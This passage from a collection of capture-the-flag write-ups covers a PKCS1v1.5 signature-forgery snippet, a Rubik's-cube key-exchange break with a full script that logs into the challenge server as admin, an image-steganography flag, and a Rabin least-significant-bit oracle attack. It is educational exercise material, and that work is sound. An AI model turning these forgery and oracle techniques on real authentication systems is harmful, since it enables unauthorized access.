65 | z = cube_root_mod(d, m, t)
66 |
67 | # Pick a number between (2^1008)^(1/3) and (2*2^1008)^(1/3) and adjust
68 | # it to equal to z modulo 2^280
69 | i = 1 # some i's produce blocks with extra null bytes; adjust until lucky
70 | x = iroot(3, 2 * pow(2, 1008))
71 | x = x - (x % m) + z - i*m
72 |
73 | # Check that the cube of x matches the PKCS1v1.5 format:
74 | y = pow(x, 3)
75 | signature = int_to_bytes(y)
76 | assert len(signature) == 127 # leading byte is 00
77 | assert signature[0] == 1 # second byte is 01
78 | assert binascii.hexlify(signature).endswith(data) # ends in asn prefix + hash
79 | assert 0 not in signature[:-len(data)//2] # no zero byte until the asn prefix
80 |
81 | # Print out base64 version of "encrypted" signature
82 | print(base64.b64encode(int_to_bytes(x)).decode('utf-8'))
83 |
--------------------------------------------------------------------------------
/googlectf2017/rubik/README.md:
--------------------------------------------------------------------------------
1 | # Rubik (Crypto)
2 | *To see writeup with rendered Latex, see the [writeup](https://gitlab.com/techsec/writeups/tree/master/googlectf2017/rubik) on GitLab*
3 |
4 | We are given some [Rust code](handshake.rs) that implements a version of [Stickel's Key Exchange protocol](https://en.wikipedia.org/wiki/Non-commutative_cryptography#Stickel.E2.80.99s_key_exchange_protocol) for the [Rubik's Cube Group](https://en.wikipedia.org/wiki/Rubik%27s_Cube_group).
5 |
6 | We are also given a service which executes this protocol and allows users to register public keys and login.
7 |
8 | Before we dive into the details of the protocol and the attack, let's talk a little bit about Rubik's Cubes.
9 |
10 | ## Rubik's Cube Theory
11 |
12 | To talk about a series of moves that can be applied to a Rubik's Cube, most people use [Singmaster Notation](https://en.wikipedia.org/wiki/Rubik%27s_Cube#Move_notation). The six letters `R`, `L`, `U`, `D`, `F`, and `B` describe 90 degree clockwise turns to each of the six faces. A prime (') after a letter indicates a counter-clockwise turn. Finally, the letters `x`, `y`, and `z`, describe rotating the entire cube 90 degrees clockwise on the `R`, `U`, and `F` faces respectively. A prime after these letters describes the corresponding counter-clockwise rotation.
13 |
14 | 
15 |
16 | [This site](https://ruwix.com/the-rubiks-cube/notation/) allows you to apply a series of moves to a cube to explore the notation.
17 |
18 | For the purposes of the protocol there are really only two important operations: $`X`$ = `U x'` and $`Y`$ = `L y'`. We'll borrow notation from group theory to talk about composing these operations. For example, $`X^2`$ represents the operation `U x' U x'`, and $`X \cdot Y^3`$ represents the operation `U x' L y' L y' L y'`.
19 |
20 | Note that in general Rubik's Cube moves do not commute, so $`X \cdot Y \neq Y \cdot X`$. Finally, the _inverse_ of an operation is the operation that exactly undoes it, so the inverse of $`Y`$ is $`Y^{-1}`$ = `y L'`.
21 |
22 | Another important concept from group theory is that of the _order_ of an element, which is simply the number of times we need to compose an element with itself until we produce the identity element.
23 |
24 | It turns out that the orders of $`X`$ and $`Y`$ are both 1260, which also happens to be the maximum possible order of any element of the Rubik's Cube group. (We actually verified this manually by applying `U x'` repeatedly to a physical cube and noticing that after 420 operations the cube returned to its original state with three corners rotated 120 degrees clockwise.)
25 |
26 | ## The Protocol
27 |
28 | The protocol allows two users, Alice and Bob, to agree upon a shared secret. Each user's private key is a pair of 64-bit numbers $`(a, b)`$. The corresponding public key is the Rubik's cube state corresponding to the permutation
29 | ```math
30 | P = X^a \cdot Y^b
31 | ```
32 |
33 | Namely, apply `U x'` $`a`$ times and then apply `L y'` $`b`$ times.
34 |
35 | Let Alice's parameters be $`(a_A, b_A, P_A)`$, where $`(a_A, b_A)`$ is her private key and $`P_A`$ is her public key. Define $`(a_B, b_B, P_B)`$ similarly for Bob. To agree on a shared secret, Alice and Bob exchange their public keys, and Alice computes:
36 | ```math
37 | S_A = X^{a_A} \cdot P_B \cdot Y^{b_A}
38 | ```
39 |
40 | and Bob computes:
41 |
42 | ```math
43 | S_B = X^{a_B} \cdot P_A \cdot Y^{b_B}
44 | ```
45 | Note that
46 |
47 | ```math
48 | S_A = X^{a_A} \cdot P_B \cdot Y^{b_A} = X^{a_A} \cdot X^{a_B} \cdot Y^{b_B} \cdot Y^{b_A} = X^{a_A + a_B} \cdot Y^{b_A + b_B}
49 | ```
50 | ```math
51 | S_B = X^{a_B} \cdot P_A \cdot Y^{b_B} = X^{a_B} \cdot X^{a_A} \cdot Y^{b_A} \cdot Y^{b_B} = X^{a_B + a_A} \cdot Y^{b_B + b_A}
52 | ```
53 |
54 | Thus, $`S_A = S_B`$. In the service, this shared secret is then hashed with a random salt to produce the authentication token.
55 |
56 | The service represents the state of a Rubik's cube by listing out the colors of the 54 squares in a particular order. The starting solved state of the cube corresponds to the white face being `U`, the red face being `F`, and the the blue face being `R`.
57 |
58 | ## Logging In
59 |
60 | We now understand enough to register an account with the service and then login:
61 |
62 | ```
63 | Welcome to the Rubik's cube authentication server!
64 |
65 | You have the following options:
66 | 1) Public key service
67 | 2) Register
68 | 3) Login
69 | q) Quit
70 | 2
71 | What username do you want to register?
72 | x
73 | What public key do you want to register?
74 | WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY
75 | User registered!
76 | ```
77 | We'll set our public key to the solved Rubik's Cube state `WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY`, which corresponds to the private key $`(0,0)`$. This allows us to compute the handshake simply by taking the hash of the service's public key: $`S = X^{a_B} \cdot X^0Y^0 \cdot Y^{a_B} = X^{a_B} \cdot Y^{a_B} = P_B`$.
78 |
79 | ```
80 | You have the following options:
81 | 1) Public key service
82 | 2) Register
83 | 3) Login
84 | q) Quit
85 | 3
86 | What user do you want to log in as?
87 | x
88 | My public key is:
89 | YRBBWWGRWRYOYBOGGWRGBOOGOGYRRWRBYBBGRYWROOYOOYGGWYBWWB
90 |
91 | Please give me the result of:
92 | mykey.handshake(yourkey, "036e4e0a57cf8d05".from_hex().unwrap()).to_hex()
93 | 1d740d43446f1755ec2fb066c2314444
94 | Your are now logged in!
95 | ```
96 | We compute the handshake with a short python snippet:
97 | ```
98 | [rubik]> python3
99 | Python 3.6.1 (default, Apr 4 2017, 09:40:51)
100 | >>> import binascii
101 | >>> import hashlib
102 | >>> salt = binascii.unhexlify("036e4e0a57cf8d05")
103 | >>> state = b"YRBBWWGRWRYOYBOGGWRGBOOGOGYRRWRBYBBGRYWROOYOOYGGWYBWWB"
104 | >>> hashlib.blake2b(state, digest_size=16, key=salt).hexdigest()
105 | '1d740d43446f1755ec2fb066c2314444'
106 | ```
107 | Once we login we notice that we now have a fourth option in the service: `List users`. Doing so, shows us that there are two users, our own account and `admin`:
108 | ```
109 | You have the following options:
110 | 1) Public key service
111 | 2) Register
112 | 3) Login
113 | 4) List users
114 | q) Quit
115 | 4
116 | List of registered users:
117 | Username: x
118 | Key: WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY
119 |
120 | Username: admin
121 | Key: BGWYROYRWYRRGBRBGBOYRGWRWGGWYOYBROBOYWOGBRGYGBOYWOOWBW
122 | ```
123 |
124 | Clearly, we must log-in as `admin` to get the flag. To do so, we need to break the protocol and determine a private key from a given public key.
125 |
126 | ## The Attack
127 |
128 | To log in as admin, we will need to provide the handshake between the admin and the service. A naive approach would be, for both the admin and the service, to iterate through all possible $`(a, b)`$ pairs applying $`X^a \cdot Y^b`$ to a solved cube and check if the resulting state equals their respective public keys. At first it would seem that this would require $`2^{64} \cdot 2^{64}`$ checks, because $`a`$ and $`b`$ are 64-bit integers, but since the orders of $`X`$ and $`Y`$ are much smaller, we actually only have to check integers in the range $`[0, 1259]`$. This requires only $`1260^2`$ checks, which is very feasible.
129 |
130 | In fact, we can do even better using a [Meet-in-the-Middle attack](https://en.wikipedia.org/wiki/Meet-in-the-middle_attack): we first generate the set of all states given by $`X^a`$ for $`a \in [0, 1259]`$. Then we generate the set of all states given by $`P \cdot Y^{-b}`$ for $`b \in [0, 1259]`$ and look for an intersection in the two sets.
131 |
132 | An intersection means that we found an $`(a,b)`$ pair such that:
133 |
134 | ```math
135 | X^a = P \cdot Y^{-b} \Rightarrow X^a Y^b = P
136 | ```
137 |
138 | This is an example of a [space-time tradeoff](https://en.wikipedia.org/wiki/Space%E2%80%93time_tradeoff) which allows us to turn a $`O(n^2)`$ time and $`O(1)`$ space algorithm into a $`O(n)`$ time and $`O(n)`$ space algorithm.
139 |
140 | The Rust libraries used by the provided code don't seem to actually exist, so we needed to implement the protocol and the attack ourselves. We wrote some [python code](meet_middle.py#L5) that applied the `U`, `L'`, `x'`, and `y` moves to a cube state and carried out the attack.
141 |
142 | Interestingly, while the attack always worked on the service's public key, it never seemed to work on the admin's public key. Since our attack tries literally all possible $`X^a Y^b`$ states, this suggests that the admin's public key isn't a Rubik's Cube permutation of the specified form.
143 |
144 | This ends up not being a major obstacle: suppose the service's public key is $`P = X^a Y^b`$ and the admin's public key is some arbitrary permutation $`Q`$. The service will compute the state:
145 |
146 | ```math
147 | S = X^a \cdot Q \cdot Y^b
148 | ```
149 |
150 | and since we can determine $`a`$ and $`b`$ and know $`Q`$, we can compute $`S`$ as well.
151 |
152 | The trickiest part of this is being able to turn $`Q`$, which we only know as a Rubik's cube _state_ into the _permutation_ that corresponds to that state. This is possible with some careful [code](meet_middle.py#L217) that tracks how the corners, edges and faces move around from the starting state to $`Q`$, and applying that same permutation to the state $`X^a`$.
153 |
154 | Once we do this and successfully login as admin, we are given the flag `CTF{StickelsKeyExchangeByHand}`:
155 |
156 | ```
157 | What user do you want to log in as?
158 | admin
159 | My public key is:
160 | WOWOWROWOOYBYGGWGRBBBYBRBOWRGWORBYWYGROGOWRGBRYYBYGRYG
161 |
162 | Please give me the result of:
163 | mykey.handshake(yourkey, "d4692ecfacd26020".from_hex().unwrap()).to_hex()
164 | 1fcd6bff7db21286935ada6004ca8593
165 | Your are now logged in!
166 | Here is the flag: CTF{StickelsKeyExchangeByHand}
167 | You have the following options:
168 | 1) Public key service
169 | 2) Register
170 | 3) Login
171 | 4) List users
172 | q) Quit
173 | ```
174 |
175 | You can find the complete code for the attack [here](meet_middle.py).
176 |
--------------------------------------------------------------------------------
/googlectf2017/rubik/dump.txt:
--------------------------------------------------------------------------------
1 | Welcome to the Rubik's cube authentication server!
2 |
3 | You have the following options:
4 | 1) Public key service
5 | 2) Register
6 | 3) Login
7 | q) Quit
8 | 2
9 | What username do you want to register?
10 | x
11 | What public key do you want to register?
12 | WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY
13 | User registered!
14 |
15 | You have the following options:
16 | 1) Public key service
17 | 2) Register
18 | 3) Login
19 | q) Quit
20 | 3
21 | What user do you want to log in as?
22 | x
23 | My public key is:
24 | YRBBWWGRWRYOYBOGGWRGBOOGOGYRRWRBYBBGRYWROOYOOYGGWYBWWB
25 |
26 | Please give me the result of:
27 | mykey.handshake(yourkey, "036e4e0a57cf8d05".from_hex().unwrap()).to_hex()
28 | 1d740d43446f1755ec2fb066c2314444
29 | Your are now logged in!
30 | You have the following options:
31 | 1) Public key service
32 | 2) Register
33 | 3) Login
34 | 4) List users
35 | q) Quit
36 | 4
37 | List of registered users:
38 | Username: x
39 | Key: WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY
40 |
41 | Username: admin
42 | Key: BGWYROYRWYRRGBRBGBOYRGWRWGGWYOYBROBOYWOGBRGYGBOYWOOWBW
43 |
44 | You have the following options:
45 | 1) Public key service
46 | 2) Register
47 | 3) Login
48 | 4) List users
49 | q) Quit
50 | 3
51 | What user do you want to log in as?
52 | admin
53 | My public key is:
54 | WOWOWROWOOYBYGGWGRBBBYBRBOWRGWORBYWYGROGOWRGBRYYBYGRYG
55 |
56 | Please give me the result of:
57 | mykey.handshake(yourkey, "d4692ecfacd26020".from_hex().unwrap()).to_hex()
58 | 1fcd6bff7db21286935ada6004ca8593
59 | Your are now logged in!
60 | Here is the flag: CTF{StickelsKeyExchangeByHand}
61 | You have the following options:
62 | 1) Public key service
63 | 2) Register
64 | 3) Login
65 | 4) List users
66 | q) Quit
67 |
--------------------------------------------------------------------------------
/googlectf2017/rubik/handshake.rs:
--------------------------------------------------------------------------------
1 | use permutation::Permutation;
2 | use cube::Cube;
3 | use crypto::blake2b::Blake2b;
4 |
5 | #[derive(Copy, Clone, Eq, PartialEq, Hash)]
6 | pub struct SecretKey {
7 | pub a: u64,
8 | pub b: u64,
9 | }
10 |
11 | #[derive(Copy, Clone, Eq, PartialEq, Hash)]
12 | pub struct PublicKey {
13 | pub key: Permutation,
14 | }
15 |
16 | impl SecretKey {
17 | pub fn to_public(&self) -> PublicKey {
18 | let pa = Permutation::parse("U x'").unwrap();
19 | let pb = Permutation::parse("L y'").unwrap();
20 |
21 | PublicKey { key: self.a * pa + self.b * pb }
22 | }
23 |
24 | pub fn handshake(&self, key: PublicKey, salt: &[u8]) -> [u8; 16] {
25 | let pa = Permutation::parse("U x'").unwrap();
26 | let pb = Permutation::parse("L y'").unwrap();
27 | let cube = Cube::default().apply(self.a * pa + key.key + self.b * pb);
28 | let mut out = [0; 16];
29 | Blake2b::blake2b(&mut out, &cube.serialize().as_bytes(), salt);
30 | out
31 | }
32 | }
33 |
34 | impl PublicKey {
35 | pub fn serialize(&self) -> String {
36 | Cube::default().apply(self.key).serialize()
37 | }
38 |
39 | pub fn unserialize(s: &str) -> Option {
40 | if let Some(cube) = Cube::unserialize(s) {
41 | if let Some(perm) = Permutation::from_cube(cube) {
42 | return Some(PublicKey { key: perm });
43 | }
44 | }
45 | None
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/googlectf2017/rubik/images/singmaster.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/googlectf2017/rubik/images/singmaster.jpg
--------------------------------------------------------------------------------
/googlectf2017/rubik/meet_middle.py:
--------------------------------------------------------------------------------
1 | import hashlib
2 | import socket
3 | import binascii
4 |
5 | def permute(s, method):
6 | o = [c for c in s]
7 | if method == "U":
8 | for i in range(9, 17+1):
9 | o[i]=s[i+3]
10 | for i in range(18, 20+1):
11 | o[i]=s[i-9]
12 | o[0]=s[6]
13 | o[3]=s[7]
14 | o[6]=s[8]
15 | o[7]=s[5]
16 | o[8]=s[2]
17 | o[5]=s[1]
18 | o[2]=s[0]
19 | o[1]=s[3]
20 |
21 | elif method == "X'":
22 | for i in range(12,14+1):
23 | o[i]=s[i-12]
24 | for i in range(24, 26+1):
25 | o[i]=s[i-21]
26 | for i in range(36, 38+1):
27 | o[i]=s[i-30]
28 | for i in range(45, 47+1):
29 | o[i]=s[i-33]
30 | for i in range(48, 50+1):
31 | o[i]=s[i-24]
32 | for i in range(51, 53+1):
33 | o[i]=s[i-15]
34 | for i in range(18, 20+1):
35 | o[i]=s[71-i]
36 | for i in range(30, 32+1):
37 | o[i]=s[80-i]
38 | for i in range(42, 44+1):
39 | o[i]=s[89-i]
40 | for i in range(0, 2+1):
41 | o[i]=s[44-i]
42 | for i in range(3, 5+1):
43 | o[i]=s[35-i]
44 | for i in range(6, 8+1):
45 | o[i]=s[26-i]
46 |
47 | o[15]=s[17]
48 | o[27]=s[16]
49 | o[39]=s[15]
50 | o[40]=s[27]
51 | o[41]=s[39]
52 | o[29]=s[40]
53 | o[17]=s[41]
54 | o[16]=s[29]
55 | o[11]=s[9]
56 | o[23]=s[10]
57 | o[35]=s[11]
58 | o[34]=s[23]
59 | o[33]=s[35]
60 | o[21]=s[34]
61 | o[9]=s[33]
62 | o[10]=s[21]
63 |
64 | elif method == "L'":
65 | o[44]=s[0]
66 | o[32]=s[3]
67 | o[20]=s[6]
68 | o[0]=s[12]
69 | o[3]=s[24]
70 | o[6]=s[36]
71 | o[36]=s[51]
72 | o[24]=s[48]
73 | o[12]=s[45]
74 | o[51]=s[20]
75 | o[48]=s[32]
76 | o[45]=s[44]
77 |
78 | o[9]=s[11]
79 | o[10]=s[23]
80 | o[11]=s[35]
81 | o[23]=s[34]
82 | o[35]=s[33]
83 | o[34]=s[21]
84 | o[33]=s[9]
85 | o[21]=s[10]
86 |
87 | elif method == "L":
88 | o[0]=s[44]
89 | o[3]=s[32]
90 | o[6]=s[20]
91 | o[12]=s[0]
92 | o[24]=s[3]
93 | o[36]=s[6]
94 | o[51]=s[36]
95 | o[48]=s[24]
96 | o[45]=s[12]
97 | o[20]=s[51]
98 | o[32]=s[48]
99 | o[44]=s[45]
100 |
101 | o[11]=s[9]
102 | o[23]=s[10]
103 | o[35]=s[11]
104 | o[34]=s[23]
105 | o[33]=s[35]
106 | o[21]=s[34]
107 | o[9]=s[33]
108 | o[10]=s[21]
109 |
110 | elif method == "Y":
111 | for i in range(9, 17+1):
112 | o[i]=s[i+3]
113 | for i in range(21, 29+1):
114 | o[i]=s[i+3]
115 | for i in range(33, 41+1):
116 | o[i]=s[i+3]
117 | for i in range(18, 20+1):
118 | o[i]=s[i-9]
119 | for i in range(30, 32+1):
120 | o[i]=s[i-9]
121 | for i in range(42, 44+1):
122 | o[i]=s[i-9]
123 | o[0]=s[6]
124 | o[3]=s[7]
125 | o[6]=s[8]
126 | o[7]=s[5]
127 | o[8]=s[2]
128 | o[5]=s[1]
129 | o[2]=s[0]
130 | o[1]=s[3]
131 | o[53]=s[51]
132 | o[50]=s[52]
133 | o[47]=s[53]
134 | o[46]=s[50]
135 | o[45]=s[47]
136 | o[48]=s[46]
137 | o[51]=s[45]
138 | o[52]=s[48]
139 |
140 | elif method=="Y'":
141 | for i in range(12, 20+1):
142 | o[i]=s[i-3]
143 | for i in range(24, 32+1):
144 | o[i]=s[i-3]
145 | for i in range(36, 44+1):
146 | o[i]=s[i-3]
147 | for i in range(9, 11+1):
148 | o[i]=s[i+9]
149 | for i in range(21, 23+1):
150 | o[i]=s[i+9]
151 | for i in range(33, 35+1):
152 | o[i]=s[i+9]
153 | o[6]=s[0]
154 | o[7]=s[3]
155 | o[8]=s[6]
156 | o[5]=s[7]
157 | o[2]=s[8]
158 | o[1]=s[5]
159 | o[0]=s[2]
160 | o[3]=s[1]
161 | o[51]=s[53]
162 | o[52]=s[50]
163 | o[53]=s[47]
164 | o[50]=s[46]
165 | o[47]=s[45]
166 | o[46]=s[48]
167 | o[45]=s[51]
168 | o[48]=s[52]
169 |
170 | return ''.join(o)
171 |
172 | # starting (solved) state of cube
173 | start= "WWWWWWWWWGGGRRRBBBOOOGGGRRRBBBOOOGGGRRRBBBOOOYYYYYYYYY"
174 |
175 | def MITM_ATTACK(end):
176 | d = {}
177 |
178 | cube = start
179 | i = 0
180 | while i < 1260:
181 | if cube not in d:
182 | d[cube] = []
183 | d[cube].append(i)
184 | cube = permute(permute(cube, "U"), "X'")
185 | i+=1
186 |
187 | intersect = []
188 | cube = end
189 | i = 0
190 | while i < 1260:
191 | if cube in d:
192 | intersect.append((d[cube][0], i))
193 | cube = permute(permute(cube, "Y"), "L'")
194 | i+=1
195 |
196 | return intersect
197 |
198 | # Execute the U x' permutation reps times on state
199 | def X_op(state, reps):
200 | for i in range(reps):
201 | state = permute(permute(state, "U"), "X'")
202 | return state
203 |
204 | # Execute the L y' permutation reps times on state
205 | def Y_op(state, reps):
206 | for i in range(reps):
207 | state = permute(permute(state, "L"), "Y'")
208 | return state
209 |
210 | # Given a Rubik's Cube in state s1 and another cube in state s2
211 | # apply the permutation that takes a solved cube to s2, to s1
212 | # i.e. if:
213 | # - s0 the solved Rubik's cube state
214 | # - p1(s0) == s1
215 | # - p2(s0) == s2 (where p1 and p2 are permutations)
216 | # then this function returns p2(s1) = p2(p1(s0))
217 | def compose(s1, s2):
218 | o3 = [c for c in s1]
219 |
220 | c1 = (s2[8], s2[14], s2[15]) # WRB
221 | c2 = (s2[2], s2[17], s2[18]) # WBO
222 | c3 = (s2[0], s2[20], s2[9]) # WOG
223 | c4 = (s2[6], s2[11], s2[12]) # WGR
224 | c5 = (s2[45], s2[36], s2[35]) # YRG
225 | c6 = (s2[51], s2[33], s2[44]) # YGO
226 | c7 = (s2[53], s2[42], s2[41]) # YOB
227 | c8 = (s2[47], s2[39], s2[38]) # YBR
228 | corners = [c1, c2, c3, c4, c5, c6, c7, c8]
229 | color_corners = ["WRB", "WBO", "WOG", "WGR", "YRG", "YGO", "YOB", "YBR"]
230 |
231 | d1 = (8, 14, 15) # WRB
232 | d2 = (2, 17, 18) # WBO
233 | d3 = (0, 20, 9) # WOG
234 | d4 = (6, 11, 12) # WGR
235 | d5 = (45, 36, 35) # YRG
236 | d6 = (51, 33, 44) # YGO
237 | d7 = (53, 42, 41) # YOB
238 | d8 = (47, 39, 38) # YBR
239 | ds = [d1, d2, d3, d4, d5, d6, d7, d8]
240 |
241 | e1 = (s2[7], s2[13]) # WR
242 | e2 = (s2[5], s2[16]) # WB
243 | e3 = (s2[1], s2[19]) # WO
244 | e4 = (s2[3], s2[10]) # WG
245 | e5 = (s2[23], s2[24]) # GR
246 | e6 = (s2[26], s2[27]) # RB
247 | e7 = (s2[29], s2[30]) # BO
248 | e8 = (s2[32], s2[21]) # OG
249 | e9 = (s2[37], s2[46]) # RY
250 | e10 = (s2[40], s2[50]) # BY
251 | e11 = (s2[43], s2[52]) # OY
252 | e12 = (s2[34], s2[48]) # GY
253 | edges = [e1, e2, e3, e4, e5, e6, e7, e8, e9, e10, e11, e12]
254 | color_edges = ["WR", "WB", "WO", "WG", "GR", "RB", "BO", "OG", "RY", "BY", "OY", "GY"]
255 |
256 | f1 = (7, 13) # WR
257 | f2 = (5, 16) # WB
258 | f3 = (1, 19) # WO
259 | f4 = (3, 10) # WG
260 | f5 = (23, 24) # GR
261 | f6 = (26, 27) # RB
262 | f7 = (29, 30) # BO
263 | f8 = (32, 21) # OG
264 | f9 = (37, 46) # RY
265 | f10 = (40, 50) # BY
266 | f11 = (43, 52) # OY
267 | f12 = (34, 48) # GY
268 | fs = [f1, f2, f3, f4, f5, f6, f7, f8, f9, f10, f11, f12]
269 |
270 | t1 = (s2[4])
271 | t2 = (s2[25])
272 | t3 = (s2[28])
273 | t4 = (s2[31])
274 | t5 = (s2[22])
275 | t6 = (s2[49])
276 | faces = [t1, t2, t3, t4, t5, t6]
277 | color_faces = ["W", "R", "B", "O", "G", "Y"]
278 |
279 |
280 | u1 = (4,)
281 | u2 = (25,)
282 | u3 = (28,)
283 | u4 = (31,)
284 | u5 = (22,)
285 | u6 = (49,)
286 | us = [u1, u2, u3, u4, u5, u6]
287 |
288 | # centers
289 | for i in range(6):
290 | face = color_faces[i]
291 | for j in range(6):
292 | compare = faces[j]
293 | if face[0] in compare:
294 | break
295 | u1 = us[i]
296 | u2 = us[j]
297 | for z in range(1):
298 | y = face.index(compare[z])
299 | o3[u2[z]] = s1[u1[y]]
300 |
301 | # corners
302 | for i in range(8):
303 | corner = color_corners[i]
304 | for j in range(8):
305 | compare = corners[j]
306 | if corner[0] in compare and corner[1] in compare and corner[2] in compare:
307 | break
308 | d1 = ds[i]
309 | d2 = ds[j]
310 | for z in range(3):
311 | y = corner.index(compare[z])
312 | o3[d2[z]] = s1[d1[y]]
313 |
314 | # edges
315 | for i in range(12):
316 | edge = color_edges[i]
317 | for j in range(12):
318 | compare = edges[j]
319 | if edge[0] in compare and edge[1] in compare:
320 | break
321 | f1 = fs[i]
322 | f2 = fs[j]
323 | for z in range(2):
324 | y = edge.index(compare[z])
325 | o3[f2[z]] = s1[f1[y]]
326 |
327 | return ''.join(o3)
328 |
329 |
330 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
331 | s.connect(('rubik.ctfcompetition.com',1337))
332 |
333 | def send(x):
334 | print('\033[92m' + x + '\033[0m')
335 | s.send(x.encode('utf-8') + b'\n')
336 |
337 | def recv():
338 | q = s.recv(2048).decode('utf-8')
339 | print(q.strip())
340 | return q
341 |
342 | # Hash a Rubik's Cube state with a given key using Blake2B
343 | def hash(state, salt):
344 | salt = binascii.unhexlify(salt)
345 | state = state.encode('utf-8')
346 | return hashlib.blake2b(state, digest_size=16, key=salt).hexdigest()
347 |
348 | if __name__ == '__main__':
349 | # First register an account with the name 'x' and with
350 | # public key as the null permutation
351 | recv()
352 | send('2')
353 | recv()
354 | send('x')
355 | recv()
356 | send(start)
357 | recv()
358 | send('3')
359 | recv()
360 | send('x')
361 | q = recv()
362 | their_pubkey = q[q.index('is:\n')+4:q.index('is:\n')+4+54]
363 | salt = q[q.index('y, "')+4:q.index('y, "')+4+16]
364 | h = hash(their_pubkey, salt)
365 | send(h)
366 | recv()
367 |
368 | # Once logged in, list all the users and record the admin's public key
369 | send('4')
370 | q = recv()
371 | admin_pubkey = q[q.index('Username: admin\nKey: ')+21:q.index('Username: admin\nKey: ')+21+54]
372 |
373 | # Next, try to login as admin
374 | send('3')
375 | recv()
376 | send('admin')
377 | q = recv()
378 | their_pubkey = q[q.index('is:\n')+4:q.index('is:\n')+4+54]
379 | salt = q[q.index('y, "')+4:q.index('y, "')+4+16]
380 |
381 | # Execute the MiTM attack on the service's public key to decompose it into
382 | # a * X_op + b * Y_op
383 | (a, b) = MITM_ATTACK(their_pubkey)[0]
384 |
385 | # Compute the state after a * X_op, admin_pubkey, then b * Y_op
386 | a1 = X_op(start, a)
387 | a2 = compose(a1, admin_pubkey)
388 | a3 = Y_op(a2, b)
389 |
390 | # Hash the state and sent it to login
391 | h = hash(a3, salt)
392 | send(h)
393 | recv()
394 |
--------------------------------------------------------------------------------
/plaidctf2016/plane_site/README.md:
--------------------------------------------------------------------------------
1 | #plane_site
2 |
3 | As the name of the problem suggests, the flag is hidden in one of the RGB planes of the image. In this instance it was hidden in the red plane. We can extract the flag using Mathematica:
4 |
5 | ```
6 | Binarize[ColorNegate[ColorSeparate[][[1]]], 0]
7 | ```
8 |
9 | which yields:
10 |
11 | 
12 |
13 | The flag is `{PCTF{3_many_s3cr3ts}`.
14 |
--------------------------------------------------------------------------------
/plaidctf2016/plane_site/plane-site_7272c45023fdd282f32e672f6ffa0013.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2016/plane_site/plane-site_7272c45023fdd282f32e672f6ffa0013.png
--------------------------------------------------------------------------------
/plaidctf2016/plane_site/plane_site_flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/plaidctf2016/plane_site/plane_site_flag.png
--------------------------------------------------------------------------------
/plaidctf2016/rabit/README.md:
--------------------------------------------------------------------------------
1 | #rabit
2 |
3 | We are given the source for an implementation of the [Rabin Cryptosystem](https://en.wikipedia.org/wiki/Rabin_cryptosystem). The message and ciphertext space are the quadratic residues modulo N, a product of two [Blum primes](https://en.wikipedia.org/wiki/Blum_integer). Encryption is defined as c = m^2 (mod N), and decryption involves taking square roots modulo N, a problem which is known to be hard unless you know N's factorization. The public key is N, and the private key is (p, q) where p • q = N.
4 |
5 | The source code also functions as a least-significant-bit oracle: given any ciphertext encrypted using the specified public key, the server will send you the least significant bit of the corresponding plaintext message. Like [RSA](http://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack), the Rabin Cryptosystem is multiplicatively homomorphic, which allows us to recover the message completely using the oracle.
6 |
7 | The key is that if we know that c = m^2 (mod N), then we also know that 4c = (2m)^2 (mod N). In general, given the ciphertext corresponding to m, we can find the ciphertext corresponding to 2^d • m.
8 |
9 | If the LSB of 2m (mod N) is 1, we know that m > N/2, because N is odd, so 2m must have wrapped around the modulus. Conversely, if 2m (mod N) is even (LSB = 0), we know that m < N/2.
10 |
11 | Furthermore, given that 2m (mod N) is even and 4m (mod N) is even, we know that m < N/4. If instead 4m (mod N) were odd, then N/4 < m < N/2. We can make similar statements if 2m (mod N) were odd.
12 |
13 | Thus, by querying the LSB's of 2^d • m (mod N) for d = 1, 2, 3 ..., we can use binary search to pin down the range of m until we've found it exactly.
14 |
15 | There are a couple of details omitted in the above explanation. First of all, to rate-limit requests, the server requires a proof-of-work from the client in the form of computing a SHA1 which ends in `ffffff`.
16 |
17 | Second of all, it is not always the case that 2^d • m will be a quadratic residue if d is odd. Namely, if 2 is not a quadratic residue modulo N, then the square of 2^d • m will decrypt to -(2^d • m) instead of 2^d • m. Since this number will have the opposite parity, we have to flip the bit that we receive from the server. Luckily, in this case 2 was a QR modulo N, so this aside was not relevant.
18 |
19 | We were given
20 |
21 | ```
22 | N = 81546073902331759271984999004451939555402085006705656828495536906802924215055062358675944026785619015267809774867163668490714884157533291262435378747443005227619394842923633601610550982321457446416213545088054898767148483676379966942027388615616321652290989027944696127478611206798587697949222663092494873481
23 | c = 16155172062598073107968676378352115117161436172814227581212799030353856989153650114500204987192715640325805773228721292633844470727274927681444727510153616642152298025005171599963912929571282929138074246451372957668797897908285264033088572552509959195673435645475880129067211859038705979011490574216118690919
24 | ```
25 |
26 | The code in `rabit_stew.py` runs the exploit described above and finds
27 |
28 | ```
29 | m = 220166400929873038171224043083387335590015857856801737690673866137676770212340840723519830846763519609829027969455172753108185495429082225311362629007220379727503139832528666787769813670043777657959040951708803510803718999186543066351821584477532976979527966653153472510938246069633772948114592599064638196
30 | ```
31 |
32 | Converting this to hex and interpreting as a string yields:
33 |
34 | ```
35 | >>> import binascii
36 | >>> binascii.unhexlify(hex(m)[2:-1])
